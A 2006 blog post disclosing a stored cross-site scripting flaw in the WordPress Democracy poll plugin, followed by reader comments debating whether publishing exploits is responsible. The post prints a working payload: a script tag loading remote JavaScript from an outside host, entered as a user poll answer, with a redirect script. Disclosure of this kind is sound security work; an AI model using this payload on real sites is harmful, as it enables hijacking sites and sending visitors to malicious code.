• Technosailor.com
  • Desk of the Editor
  • Entrepreneurship
  • Web Marketing
  • Tech Policy
  • Contenido EspaƱol
Technosailor
  • Blog
  • Authors
  • Twitter Pitch Me!
  • Disclosures
  • Advertise on Technosailor.com
Sep
22
2006

Democracy Plugin XSS Vulnerability ALERT

Posted by: Aaron Brazell

Last week, Darren McLaughlin scooped a story regarding the very popular Democracy plugin for Wordpress. You can read his findings about how the execution of the plugin may cause all of your sites pages to be dropped from search engine indexes.

When it rains it pours because last week, we discovered an XSS exploit in the plugin that can cause a website to be hijacked. To be clear, we discovered this because one of our b5media blogs was in fact hijacked. While in our case, the hack was not malicious and actually redirected the site to Google, the truth is that by exploiting this plugin, a malicious hacker could redirect a website to any website that could execute any malicious code and compromise security. It affects btoh Firefox and Internet Explorer. PLEASE TAKE THIS WARNING SERIOUSLY!

I have alerted the plugin author who has responded positively and promises a new version of Democracy 2.0, however I warned him that he had one week until I released details of the exploit. Andrew has just posted Democracy Public Beta 2. Cannot vouch for its security yet as it has literally just now been posted. Prelimnary testing indicates it’s okay though.

How To Exploit the Democracy 1.2 XSS Vulnerability

This is not a complex exploit.

I have created a javascript file called examplehack.js and placed it on my webserver. It simply redirects to a standard HTML page with a message. This could be any page containing any scripting.

window.location = "http://www.technosailor.com/examplehack.html"

To exploit the plugin, the blog owner must have a poll that allows user contributed answers. Simply “Adding an answer” with the following code (sample) will create a hijacked browser: <script src=http://technosailor/examplehack.js>test</script>

poll.png

Refresh and watch traffic get siphoned away.

Originally discovered by Duncan Riley.

  • Add to Mixx!
  • Stumble it!
About the Author: Aaron Brazell is the lead editor of Technosailor.com and a social media expert. His passion is to see companies and individuals use the internet and web technologies wisely and effectively to promote their brands and companies. He served as Director of Technology at b5media from 2005-2008 and is currently an independent consultant.
Tagged: at 7:00 pm -
discussion by DISQUS
Add New Comment
Go to Forum —  Track Comments —  Comments RSS
Viewing 15 comments — Sort by:
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    MustLive —1 year ago with 1 point

    Please login to rate. (hide)

    Aaron. You have already validated my message and then I retrieved my "key" (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case - wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

    You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer's site.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    MustLive —1 year ago with 1 point

    Please login to rate. (hide)

    Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin's vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Leroy Brown —1 year ago with 1 point

    Please login to rate. (hide)

    Aaron,
    I may feel differently if one of my sites had been hacked - that'll certainly give you a different perspective on the matter. Either way, it's necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Aaron Brazell —1 year ago with 1 point

    Please login to rate. (hide)

    Leroy: Technically, no you can't hold an author liable. In reality though, he's liable. That's how anyone who would get exploited would feel. That's how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I'd like to think that I worked with Andrew to find a solution before it blew up.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Leroy Brown —1 year ago with 1 point

    Please login to rate. (hide)

    It's a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can't be too hard on someone who creates a plugin at no cost, so I don't know. Mixed feelings as usual.
    Can you hold the author liable for any problems, even though his software is free? I'm not sure that it's fair to do so.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Permalink
    podz —1 year ago with 1 point

    Please login to rate. (hide)

    drmike - I wasn't saying they were safe. I'm talking about people who can code saying that other code is unsafe.

    I've a challenge. If it will be accepted.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    drmike —1 year ago with 1 point

    Please login to rate. (hide)

    Podz: Don't forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Aaron Brazell —1 year ago with 1 point

    Please login to rate. (hide)

    Sure, over here. ;)

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Duncan —1 year ago with 1 point

    Please login to rate. (hide)

    No link love for the person who actually discovered it? :-)

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Aaron Brazell —1 year ago with 1 point

    Please login to rate. (hide)

    Sure. And you could also subscribe to bugtraq and find this same kind of information numerous times a day. Secrecy is not always the best policy. I don't make a habit of reporting exploits but I read blogs everyday that do. It's quite the same thing.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Jeremy Wright —1 year ago with 1 point

    Please login to rate. (hide)

    pods: posting the exploit is standard practice, whether it's Microsoft or Apache.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Darren McLaughlin —1 year ago with 1 point

    Please login to rate. (hide)

    These plugins can be very dangerous. I think the Wordpress culture is to install as many plugins as possible without doing a ton of research.

    This one is a very insidious exploit.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    podz —1 year ago with 1 point

    Please login to rate. (hide)

    But I could now google enough to find that plugin and hit those sites in a couple of clicks.
    Surely just saying what you have and omitting the actual exploit would be the way to go?

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    Aaron Brazell —1 year ago with 1 point

    Please login to rate. (hide)

    Hey podz-

    Most people tend to think, "Aww, a hack will never happen to me". The point of this exercise was to demonstrate how very simple it is. Maybe demonstration will cause folks to be cautious regarding plugins they use.

    reply — You are replying anonymously. Login
    • ^
    • v
    • unverified
    • Profile
    • Website
    • Permalink
    podz —1 year ago with 1 point

    Please login to rate. (hide)

    I'm curious - why post the actual exploit?
    Is it to prove it's existence?

    reply — You are replying anonymously. Login
  • Recent Posts

    • Understanding our Future by Understanding our Past
    • Ford EcoBoost Cuts CO2 Emissions by 15%, Improves Gas Mileage
    • 5 Things Small Businesses Can Do To “Be Green”
    • You Don’t have to be an Environmentalist to Have Green Habits
    • Telecommuting, anyone?
  • Recent Comments

    Powered by Disqus
  • Tags

    Aaron Brazell Advertising Apple b5media Blogging book conferences Design entrepreneurship Facebook Finance and Funding Google guest_blogging holidays humor hurricanes_and_natural_disasters interesting job Links Marketing Music nfl Op-Ed Perfect Pitch personal politics pr Predictions productivity Programming Security Social Issues Social Media Social Networking social_issues Sports Tech Industry Technology Technosailor Travel twitter unix Venture Files WordPress you_can_blog

  • License Creative Commons Attribution-Noncommercial-Share Alike 3.0 | Copyright © 2004 - 2008 - Aaron Brazell | Lisa helped out | Privacy Policy

    Twitter Pitch!

    <p>Twitter pitching is a form of pitch that requires succint "what does this mean for me" kind of pitching. It is the ultimate efficiency of words. You have 140 characters or less to tell me why your pitch matters to me or my readers. Please include a means of contacting you. This is included in your 140 characters. If you send successive pitches, you will likely be ignored, unless it's obvious that the first pitch was a case of "accidental send", etc.</p> <p>This form of pitching does not mean I'm being a diva. It means that my time is valuable, and you want a piece of it. It's good practice for you, and delivers your pitch in a format I want. Win-win.</p>


    (X) Close

    Twitter Pitch Me!